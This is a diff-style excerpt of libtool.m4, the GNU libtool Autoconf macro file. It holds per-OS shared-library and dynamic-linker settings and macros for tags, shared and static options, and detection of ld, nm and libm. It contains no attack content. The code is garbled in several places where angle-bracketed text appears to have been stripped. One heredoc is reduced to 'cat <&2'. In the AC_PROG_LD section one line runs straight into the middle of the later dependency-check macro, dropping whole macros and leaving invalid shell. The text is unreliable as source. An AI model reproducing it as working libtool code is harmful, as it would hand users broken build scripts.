need_lib_prefix=no + need_version=no + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + dynamic_linker='NetBSD (a.out) ld.so' + else + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + dynamic_linker='NetBSD ld.elf_so' + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + +newsos6) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +nto-qnx*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +openbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + shlibpath_var=LD_LIBRARY_PATH + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + case $host_os in + openbsd2.[[89]] | openbsd2.[[89]].*) + shlibpath_overrides_runpath=no + ;; + *) + shlibpath_overrides_runpath=yes + ;; + esac + else + shlibpath_overrides_runpath=yes + fi + ;; + +os2*) + libname_spec='$name' + shrext_cmds=".dll" + need_lib_prefix=no + library_names_spec='$libname${shared_ext} $libname.a' + dynamic_linker='OS/2 ld.exe' + shlibpath_var=LIBPATH + ;; + +osf3* | osf4* | osf5*) + version_type=osf + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" + sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec" + ;; + +sco3.2v5*) + version_type=osf + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + ;; + +solaris*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; + +sunos4*) + version_type=sunos + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + if test "$with_gnu_ld" = yes; then + need_lib_prefix=no + fi + need_version=yes + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + case $host_vendor in + sni) + shlibpath_overrides_runpath=no + need_lib_prefix=no + export_dynamic_flag_spec='${wl}-Blargedynsym' + runpath_var=LD_RUN_PATH + ;; + siemens) + need_lib_prefix=no + ;; + motorola) + need_lib_prefix=no + need_version=no + shlibpath_overrides_runpath=no + sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' + ;; + esac + ;; + +sysv4*MP*) + if test -d /usr/nec ;then + version_type=linux + library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}' + soname_spec='$libname${shared_ext}.$major' + shlibpath_var=LD_LIBRARY_PATH + fi + ;; + +uts4*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +*) + dynamic_linker=no + ;; +esac +AC_MSG_RESULT([$dynamic_linker]) +test "$dynamic_linker" = no && can_build_shared=no +])# AC_LIBTOOL_SYS_DYNAMIC_LINKER + + +# _LT_AC_TAGCONFIG +# ---------------- +AC_DEFUN([_LT_AC_TAGCONFIG], +[AC_ARG_WITH([tags], + [AC_HELP_STRING([--with-tags@<:@=TAGS@:>@], + [include additional configurations @<:@automatic@:>@])], + [tagnames="$withval"]) + +if test -f "$ltmain" && test -n "$tagnames"; then + if test ! -f "${ofile}"; then + AC_MSG_WARN([output file `$ofile' does not exist]) + fi + + if test -z "$LTCC"; then + eval "`$SHELL ${ofile} --config | grep '^LTCC='`" + if test -z "$LTCC"; then + AC_MSG_WARN([output file `$ofile' does not look like a libtool script]) + else + AC_MSG_WARN([using `LTCC=$LTCC', extracted from `$ofile']) + fi + fi + + # Extract list of available tagged configurations in $ofile. + # Note that this assumes the entire list is on one line. + available_tags=`grep "^available_tags=" "${ofile}" | $SED -e 's/available_tags=\(.*$\)/\1/' -e 's/\"//g'` + + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for tagname in $tagnames; do + IFS="$lt_save_ifs" + # Check whether tagname contains only valid characters + case `$echo "X$tagname" | $Xsed -e 's:[[-_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890,/]]::g'` in + "") ;; + *) AC_MSG_ERROR([invalid tag name: $tagname]) + ;; + esac + + if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "${ofile}" > /dev/null + then + AC_MSG_ERROR([tag name \"$tagname\" already exists]) + fi + + # Update the list of available tags. + if test -n "$tagname"; then + echo appending configuration tag \"$tagname\" to $ofile + + case $tagname in + CXX) + if test -n "$CXX" && test "X$CXX" != "Xno"; then + AC_LIBTOOL_LANG_CXX_CONFIG + else + tagname="" + fi + ;; + + F77) + if test -n "$F77" && test "X$F77" != "Xno"; then + AC_LIBTOOL_LANG_F77_CONFIG + else + tagname="" + fi + ;; + + GCJ) + if test -n "$GCJ" && test "X$GCJ" != "Xno"; then + AC_LIBTOOL_LANG_GCJ_CONFIG + else + tagname="" + fi + ;; + + RC) + AC_LIBTOOL_LANG_RC_CONFIG + ;; + + *) + AC_MSG_ERROR([Unsupported tag name: $tagname]) + ;; + esac + + # Append the new tag name to the list of available tags. + if test -n "$tagname" ; then + available_tags="$available_tags $tagname" + fi + fi + done + IFS="$lt_save_ifs" + + # Now substitute the updated list of available tags. + if eval "sed -e 's/^available_tags=.*\$/available_tags=\"$available_tags\"/' \"$ofile\" > \"${ofile}T\""; then + mv "${ofile}T" "$ofile" + chmod +x "$ofile" + else + rm -f "${ofile}T" + AC_MSG_ERROR([unable to update list of available tagged configurations.]) + fi +fi +])# _LT_AC_TAGCONFIG + + +# AC_LIBTOOL_DLOPEN +# ----------------- +# enable checks for dlopen support +AC_DEFUN([AC_LIBTOOL_DLOPEN], + [AC_BEFORE([$0],[AC_LIBTOOL_SETUP]) +])# AC_LIBTOOL_DLOPEN + + +# AC_LIBTOOL_WIN32_DLL +# -------------------- +# declare package support for building win32 dll's +AC_DEFUN([AC_LIBTOOL_WIN32_DLL], +[AC_BEFORE([$0], [AC_LIBTOOL_SETUP]) +])# AC_LIBTOOL_WIN32_DLL + + +# AC_ENABLE_SHARED([DEFAULT]) +# --------------------------- +# implement the --enable-shared flag +# DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. +AC_DEFUN([AC_ENABLE_SHARED], +[define([AC_ENABLE_SHARED_DEFAULT], ifelse($1, no, no, yes))dnl +AC_ARG_ENABLE([shared], + [AC_HELP_STRING([--enable-shared@<:@=PKGS@:>@], + [build shared libraries @<:@default=]AC_ENABLE_SHARED_DEFAULT[@:>@])], + [p=${PACKAGE-default} + case $enableval in + yes) enable_shared=yes ;; + no) enable_shared=no ;; + *) + enable_shared=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_shared=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac], + [enable_shared=]AC_ENABLE_SHARED_DEFAULT) +])# AC_ENABLE_SHARED + + +# AC_DISABLE_SHARED +# ----------------- +#- set the default shared flag to --disable-shared +AC_DEFUN([AC_DISABLE_SHARED], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl +AC_ENABLE_SHARED(no) +])# AC_DISABLE_SHARED + + +# AC_ENABLE_STATIC([DEFAULT]) +# --------------------------- +# implement the --enable-static flag +# DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. +AC_DEFUN([AC_ENABLE_STATIC], +[define([AC_ENABLE_STATIC_DEFAULT], ifelse($1, no, no, yes))dnl +AC_ARG_ENABLE([static], + [AC_HELP_STRING([--enable-static@<:@=PKGS@:>@], + [build static libraries @<:@default=]AC_ENABLE_STATIC_DEFAULT[@:>@])], + [p=${PACKAGE-default} + case $enableval in + yes) enable_static=yes ;; + no) enable_static=no ;; + *) + enable_static=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_static=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac], + [enable_static=]AC_ENABLE_STATIC_DEFAULT) +])# AC_ENABLE_STATIC + + +# AC_DISABLE_STATIC +# ----------------- +# set the default static flag to --disable-static +AC_DEFUN([AC_DISABLE_STATIC], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl +AC_ENABLE_STATIC(no) +])# AC_DISABLE_STATIC + + +# AC_ENABLE_FAST_INSTALL([DEFAULT]) +# --------------------------------- +# implement the --enable-fast-install flag +# DEFAULT is either `yes' or `no'. If omitted, it defaults to `yes'. +AC_DEFUN([AC_ENABLE_FAST_INSTALL], +[define([AC_ENABLE_FAST_INSTALL_DEFAULT], ifelse($1, no, no, yes))dnl +AC_ARG_ENABLE([fast-install], + [AC_HELP_STRING([--enable-fast-install@<:@=PKGS@:>@], + [optimize for fast installation @<:@default=]AC_ENABLE_FAST_INSTALL_DEFAULT[@:>@])], + [p=${PACKAGE-default} + case $enableval in + yes) enable_fast_install=yes ;; + no) enable_fast_install=no ;; + *) + enable_fast_install=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_fast_install=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac], + [enable_fast_install=]AC_ENABLE_FAST_INSTALL_DEFAULT) +])# AC_ENABLE_FAST_INSTALL + + +# AC_DISABLE_FAST_INSTALL +# ----------------------- +# set the default to --disable-fast-install +AC_DEFUN([AC_DISABLE_FAST_INSTALL], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl +AC_ENABLE_FAST_INSTALL(no) +])# AC_DISABLE_FAST_INSTALL + + +# AC_LIBTOOL_PICMODE([MODE]) +# -------------------------- +# implement the --with-pic flag +# MODE is either `yes' or `no'. If omitted, it defaults to `both'. +AC_DEFUN([AC_LIBTOOL_PICMODE], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl +pic_mode=ifelse($#,1,$1,default) +])# AC_LIBTOOL_PICMODE + + +# AC_PROG_EGREP +# ------------- +# This is predefined starting with Autoconf 2.54, so this conditional +# definition can be removed once we require Autoconf 2.54 or later. +m4_ifndef([AC_PROG_EGREP], [AC_DEFUN([AC_PROG_EGREP], +[AC_CACHE_CHECK([for egrep], [ac_cv_prog_egrep], + [if echo a | (grep -E '(a|b)') >/dev/null 2>&1 + then ac_cv_prog_egrep='grep -E' + else ac_cv_prog_egrep='egrep' + fi]) + EGREP=$ac_cv_prog_egrep + AC_SUBST([EGREP]) +])]) + + +# AC_PATH_TOOL_PREFIX +# ------------------- +# find a file program which can recognise shared library +AC_DEFUN([AC_PATH_TOOL_PREFIX], +[AC_REQUIRE([AC_PROG_EGREP])dnl +AC_MSG_CHECKING([for $1]) +AC_CACHE_VAL(lt_cv_path_MAGIC_CMD, +[case $MAGIC_CMD in +[[\\/*] | ?:[\\/]*]) + lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path. + ;; +*) + lt_save_MAGIC_CMD="$MAGIC_CMD" + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR +dnl $ac_dummy forces splitting on constant user-supplied paths. +dnl POSIX.2 word splitting is done only on the output of word expansions, +dnl not every word. This closes a longstanding sh security hole. + ac_dummy="ifelse([$2], , $PATH, [$2])" + for ac_dir in $ac_dummy; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$1; then + lt_cv_path_MAGIC_CMD="$ac_dir/$1" + if test -n "$file_magic_test_file"; then + case $deplibs_check_method in + "file_magic "*) + file_magic_regex="`expr \"$deplibs_check_method\" : \"file_magic \(.*\)\"`" + MAGIC_CMD="$lt_cv_path_MAGIC_CMD" + if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | + $EGREP "$file_magic_regex" > /dev/null; then + : + else + cat <&2 + +*** Warning: the command libtool uses to detect shared libraries, +*** $file_magic_cmd, produces output that libtool cannot recognize. +*** The result is that libtool may fail to recognize shared libraries +*** as such. This will affect the creation of libtool libraries that +*** depend on shared libraries, but programs linked with such libtool +*** libraries will work regardless of this problem. Nevertheless, you +*** may want to report the problem to your system manager and/or to +*** bug-libtool@gnu.org + +EOF + fi ;; + esac + fi + break + fi + done + IFS="$lt_save_ifs" + MAGIC_CMD="$lt_save_MAGIC_CMD" + ;; +esac]) +MAGIC_CMD="$lt_cv_path_MAGIC_CMD" +if test -n "$MAGIC_CMD"; then + AC_MSG_RESULT($MAGIC_CMD) +else + AC_MSG_RESULT(no) +fi +])# AC_PATH_TOOL_PREFIX + + +# AC_PATH_MAGIC +# ------------- +# find a file program which can recognise a shared library +AC_DEFUN([AC_PATH_MAGIC], +[AC_PATH_TOOL_PREFIX(${ac_tool_prefix}file, /usr/bin$PATH_SEPARATOR$PATH) +if test -z "$lt_cv_path_MAGIC_CMD"; then + if test -n "$ac_tool_prefix"; then + AC_PATH_TOOL_PREFIX(file, /usr/bin$PATH_SEPARATOR$PATH) + else + MAGIC_CMD=: + fi +fi +])# AC_PATH_MAGIC + + +# AC_PROG_LD +# ---------- +# find the pathname to the GNU or non-GNU linker +AC_DEFUN([AC_PROG_LD], +[AC_ARG_WITH([gnu-ld], + [AC_HELP_STRING([--with-gnu-ld], + [assume the C compiler uses GNU ld @<:@default=no@:>@])], + [test "$withval" = no || with_gnu_ld=yes], + [with_gnu_ld=no]) +AC_REQUIRE([LT_AC_PROG_SED])dnl +AC_REQUIRE([AC_PROG_CC])dnl +AC_REQUIRE([AC_CANONICAL_HOST])dnl +AC_REQUIRE([AC_CANONICAL_BUILD])dnl +ac_prog=ld +if test "$GCC" = yes; then + # Check if gcc -print-prog-name=ld gives a path. + AC_MSG_CHECKING([for ld used by $CC]) + case $host in + *-*-mingw*) + # gcc leaves a trailing carriage return which upsets mingw + ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; + *) + ac_prog=`($CC -print-prog-name=ld) 2>&5` ;; + esac + case $ac_prog in + # Accept absolute paths. + [[\\/]]* | ?:[[\\/]]*) + re_direlt='/[[^/]][[^/]]*/\.\./' + # Canonicalize the pathname of ld + ac_prog=`echo $ac_prog| $SED 's%\\\\%/%g'` + while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do + ac_prog=`echo $ac_prog| $SED "s%$re_direlt%/%"` + done + test -z "$LD" && LD="$ac_prog" + ;; + "") + # If it fails, then pretend we aren't using GCC. + ac_prog=ld + ;; + *) + # If it is relative, then search for the first ld in PATH. + with_gnu_ld=unknown + ;; + esac +elif test "$with_gnu_ld" = yes; then + AC_MSG_CHECKING([for GNU ld]) +else + AC_MSG_CHECKING([for non-GNU ld]) +fi +AC_CACHE_VAL(lt_cv_path_LD, +[if test -z "$LD"; then + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then + lt_cv_path_LD="$ac_dir/$ac_prog" + # Check to see if the program is GNU ld. I'd rather use --version, + # but apparently some GNU ld's only accept -v. + # Break only if it was the GNU/non-GNU ld that we prefer. + case `"$lt_cv_path_LD" -v 2>&1 &1 /dev/null; then + case $host_cpu in + i*86 ) + # Not sure whether the presence of OpenBSD here was a mistake. + # Let's accept both of them until this is cleared up. + lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD)/i[[3-9]]86 (compact )?demand paged shared library' + lt_cv_file_magic_cmd=/usr/bin/file + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*` + ;; + esac + else + lt_cv_deplibs_check_method=pass_all + fi + ;; + +gnu*) + lt_cv_deplibs_check_method=pass_all + ;; + +hpux10.20* | hpux11*) + lt_cv_file_magic_cmd=/usr/bin/file + case "$host_cpu" in + ia64*) + lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|ELF-[[0-9]][[0-9]]) shared object file - IA64' + lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so + ;; + hppa*64*) + [lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]'] + lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl + ;; + *) + lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|PA-RISC[[0-9]].[[0-9]]) shared library' + lt_cv_file_magic_test_file=/usr/lib/libc.sl + ;; + esac + ;; + +irix5* | irix6* | nonstopux*) + case $LD in + *-32|*"-32 ") libmagic=32-bit;; + *-n32|*"-n32 ") libmagic=N32;; + *-64|*"-64 ") libmagic=64-bit;; + *) libmagic=never-match;; + esac + lt_cv_deplibs_check_method=pass_all + ;; + +# This must be Linux ELF. +linux*) + case $host_cpu in + alpha*|hppa*|i*86|ia64*|m68*|mips*|powerpc*|sparc*|s390*|sh*) + lt_cv_deplibs_check_method=pass_all ;; + *) + # glibc up to 2.1.1 does not perform some relocations on ARM + # this will be overridden with pass_all, but let us keep it just in case + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB (shared object|dynamic lib )' ;; + esac + lt_cv_file_magic_test_file=`echo /lib/libc.so* /lib/libc-*.so` + lt_cv_deplibs_check_method=pass_all + ;; + +netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|_pic\.a)$' + fi + ;; + +newos6*) + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (executable|dynamic lib)' + lt_cv_file_magic_cmd=/usr/bin/file + lt_cv_file_magic_test_file=/usr/lib/libnls.so + ;; + +nto-qnx*) + lt_cv_deplibs_check_method=unknown + ;; + +openbsd*) + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|\.so|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$' + fi + ;; + +osf3* | osf4* | osf5*) + lt_cv_deplibs_check_method=pass_all + ;; + +sco3.2v5*) + lt_cv_deplibs_check_method=pass_all + ;; + +solaris*) + lt_cv_deplibs_check_method=pass_all + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + case $host_vendor in + motorola) + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib) M[[0-9]][[0-9]]* Version [[0-9]]' + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*` + ;; + ncr) + lt_cv_deplibs_check_method=pass_all + ;; + sequent) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB (shared object|dynamic lib )' + ;; + sni) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method="file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB dynamic lib" + lt_cv_file_magic_test_file=/lib/libc.so + ;; + siemens) + lt_cv_deplibs_check_method=pass_all + ;; + esac + ;; + +sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[[78]]* | unixware7* | sysv4*uw2*) + lt_cv_deplibs_check_method=pass_all + ;; +esac +]) +file_magic_cmd=$lt_cv_file_magic_cmd +deplibs_check_method=$lt_cv_deplibs_check_method +test -z "$deplibs_check_method" && deplibs_check_method=unknown +])# AC_DEPLIBS_CHECK_METHOD + + +# AC_PROG_NM +# ---------- +# find the pathname to a BSD-compatible name lister +AC_DEFUN([AC_PROG_NM], +[AC_CACHE_CHECK([for BSD-compatible nm], lt_cv_path_NM, +[if test -n "$NM"; then + # Let the user override the test. + lt_cv_path_NM="$NM" +else + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH /usr/ccs/bin /usr/ucb /bin; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + tmp_nm="$ac_dir/${ac_tool_prefix}nm" + if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then + # Check to see if the nm accepts a BSD-compat flag. + # Adding the `sed 1q' prevents false positives on HP-UX, which says: + # nm: unknown option "B" ignored + # Tru64's nm complains that /dev/null is an invalid object file + case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in + */dev/null* | *'Invalid file or object type'*) + lt_cv_path_NM="$tmp_nm -B" + break + ;; + *) + case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in + */dev/null*) + lt_cv_path_NM="$tmp_nm -p" + break + ;; + *) + lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but + continue # so that we can try to find one that supports BSD flags + ;; + esac + esac + fi + done + IFS="$lt_save_ifs" + test -z "$lt_cv_path_NM" && lt_cv_path_NM=nm +fi]) +NM="$lt_cv_path_NM" +])# AC_PROG_NM + + +# AC_CHECK_LIBM +# ------------- +# check for math library +AC_DEFUN([AC_CHECK_LIBM], +[AC_REQUIRE([AC_CANONICAL_HOST])dnl +LIBM= +case $host in +*-*-beos* | *-*-cygwin* | *-*-pw32* | *-*-darwin*) + # These system don't have libm, or don't need it + ;; +*-ncr-sysv4.3*) + AC_CHECK_LIB(mw, _mwvalidcheckl, LIBM="-lmw") + AC_CHECK_LIB(m, cos, LIBM="$LIBM -lm") + ;; +*) + AC_CHECK_LIB(m, cos, LIBM="-lm") + ;; +esac +])# AC_CHECK_LIBM + + +# AC_LIBLTDL_CONVENIENCE([DIRECTORY]) +# ----------------------------------- +# sets LIBLTDL to the link flags for the libltdl convenience library and +# LTDLINCL to the include flags for the libltdl header and adds +# --enable-ltdl-convenience to the configure arguments. Note that LIBLTDL +# and LTDLINCL are not AC_SUBSTed, nor is AC_CONFIG_SUBDIRS called. If +# DIRECTORY is not provided, it is assumed to be `libltdl'. LIBLTDL will +# be prefixed with '${top_builddir}/' and LTDLINCL will be prefixed with +# '${top_srcdir}/' (note the single quotes!). If your package is not +# flat and you're not using automake, define top_builddir and +# top_srcdir appropriately in the Makefiles. +AC_DEFUN([AC_LIBLTDL_CONVENIENCE], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl + case $enable_ltdl_convenience in + no) AC_MSG_ERROR([this package needs a convenience libltdl]) ;; + "") enable_ltdl_convenience=yes + ac_configure_args="$ac_configure_args --enable-ltdl-convenience" ;; + esac + LIBLTDL='${top_builddir}/'ifelse($#,1,[$1],['libltdl'])/libltdlc.la + LTDLINCL='-I${top_srcdir}/'ifelse($#,1,[$1],['libltdl']) + # For backwards non-gettext consistent compatibility... + INCLTDL="$LTDLINCL" +])# AC_LIBLTDL_CONVENIENCE + + +# AC_LIBLTDL_INSTALLABLE([DIRECTORY]) +# ----------------------------------- +# sets LIBLTDL to the link flags for the libltdl installable library and +# LTDLINCL to the include flags for the libltdl header and adds +# --enable-ltdl-install to the configure arguments. Note that LIBLTDL +# and LTDLINCL are not AC_SUBSTed, nor is AC_CONFIG_SUBDIRS called. If +# DIRECTORY is not provided and an installed libltdl is not found, it is +# assumed to be `libltdl'. LIBLTDL will be prefixed with '${top_builddir}/' +# and LTDLINCL will be prefixed with '${top_srcdir}/' (note the single +# quotes!). If your package is not flat and you're not using automake, +# define top_builddir and top_srcdir appropriately in the Makefiles. +# In the future, this macro may have to be called after AC_PROG_LIBTOOL. +AC_DEFUN([AC_LIBLTDL_INSTALLABLE], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl + AC_CHECK_LIB(ltdl, lt_dlinit, + [test x"$enable_ltdl_install" != xyes && enable_ltdl_install=no], + [if test x"$enable_ltdl_install" = xno; then + AC_MSG_WARN([libltdl not installed, but installation disabled]) + else + enable_ltdl_install=yes + fi + ]) + if test x"$enable_ltdl_install" = x"yes"; then + ac_configure_args="$ac_configure_args --enable-ltdl-install" + LIBLTDL='${top_builddir}/'ifelse($#,1,[$1],['libltdl'])/libltdl.la + LTDLINCL='-I${top_srcdir}/'ifelse($#,1,[$1],['libltdl']) + else + ac_configure_args="$ac_configure_args --enable-ltdl-install=no" + LIBLTDL="-lltdl" + LTDLINCL= + fi + # For backwards non-gettext consistent compatibility... + INCLTDL="$LTDLINCL" +])# AC_LIBLTDL_INSTALLABLE + + +# AC_LIBTOOL_CXX +# -------------- +# enable support for C++ libraries +AC_DEFUN([AC_LIBTOOL_CXX], +[AC_REQUIRE([_LT_AC_LANG_CXX]) +])# AC_LIBTOOL_CXX + + +# _LT_AC_LANG_CXX +# --------------- +AC_DEFUN([_LT_AC_LANG_CXX], +[AC_REQUIRE([AC_PROG_CXX]) +AC_REQUIRE([AC_PROG_CXXCPP]) +_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}CXX]) +])# _LT_AC_LANG_CXX + + +# AC_LIBTOOL_F77 +# -------------- +# enable support for Fortran 77 libraries +AC_DEFUN([AC_LIBTOOL_F77], +[AC_REQUIRE([_LT_AC_LANG_F77]) +])# AC_LIBTOOL_F77 + + +# _LT_AC_LANG_F77 +# --------------- +AC_DEFUN([_LT_AC_LANG_F77], +[AC_REQUIRE([AC_PROG_F77]) +_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}F77]) +])# _LT_AC_LANG_F77 + + +# AC_LIBTOOL_GCJ +# -------------- +# enable support for GCJ libraries +AC_DEFUN([AC_LIBTOOL_GCJ], +[AC_REQUIRE([_LT_AC_LANG_GCJ]) +])# AC_LIBTOOL_GCJ + + +# _LT_AC_LANG_GCJ +# --------------- +AC_DEFUN([_LT_AC_LANG_GCJ], +[AC_PROVIDE_IFELSE([AC_PROG_GCJ],[], + [AC_PROVIDE_IFELSE([A][M_PROG_GCJ],[], + [AC_PROVIDE_IFELSE([LT_AC_PROG_GCJ],[], + [ifdef([AC_PROG_GCJ],[AC_REQUIRE([AC_PROG_GCJ])], + [ifdef([A][M_PROG_GCJ],[AC_REQUIRE([A][M_PROG_GCJ])], + [AC_REQUIRE([A][C_PROG_GCJ_OR_A][M_PROG_GCJ])])])])])]) +_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}GCJ]) +])# _LT_AC_LANG_GCJ + + +# AC_LIBTOOL_RC +# -------------- +# enable support for Windows resource files +AC_DEFUN([AC_LIBTOOL_RC], +[AC_REQUIRE([LT_AC_PROG_RC]) +_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}RC]) +])# AC_LIBTOOL_RC + + +# AC_LIBTOOL_LANG_C_CONFIG +# ------------------------ +# Ensure that the configuration vars for the C compiler are +# suitably defined. Those variables are subsequently used by +# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'. +AC_DEFUN([AC_LIBTOOL_LANG_C_CONFIG], [_LT_AC_LANG_C_CONFIG]) +AC_DEFUN([_LT_AC_LANG_C_CONFIG], +[lt_save_CC="$CC" +AC_LANG_PUSH(C) + +# Source file extension for C test sources. +ac_ext=c + +# Object file extension for compiled C test sources. +objext=o +_LT_AC_TAGVAR(objext, $1)=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="int some_variable = 0;\n" + +# Code to be used in simple link tests +lt_simple_link_test_code='int main(){return(0);}\n' + +_LT_AC_SYS_COMPILER + +# +# Check for any special shared library compilation flags. +# +_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)= +if test "$GCC" = no; then + case $host_os in + sco3.2v5*) + 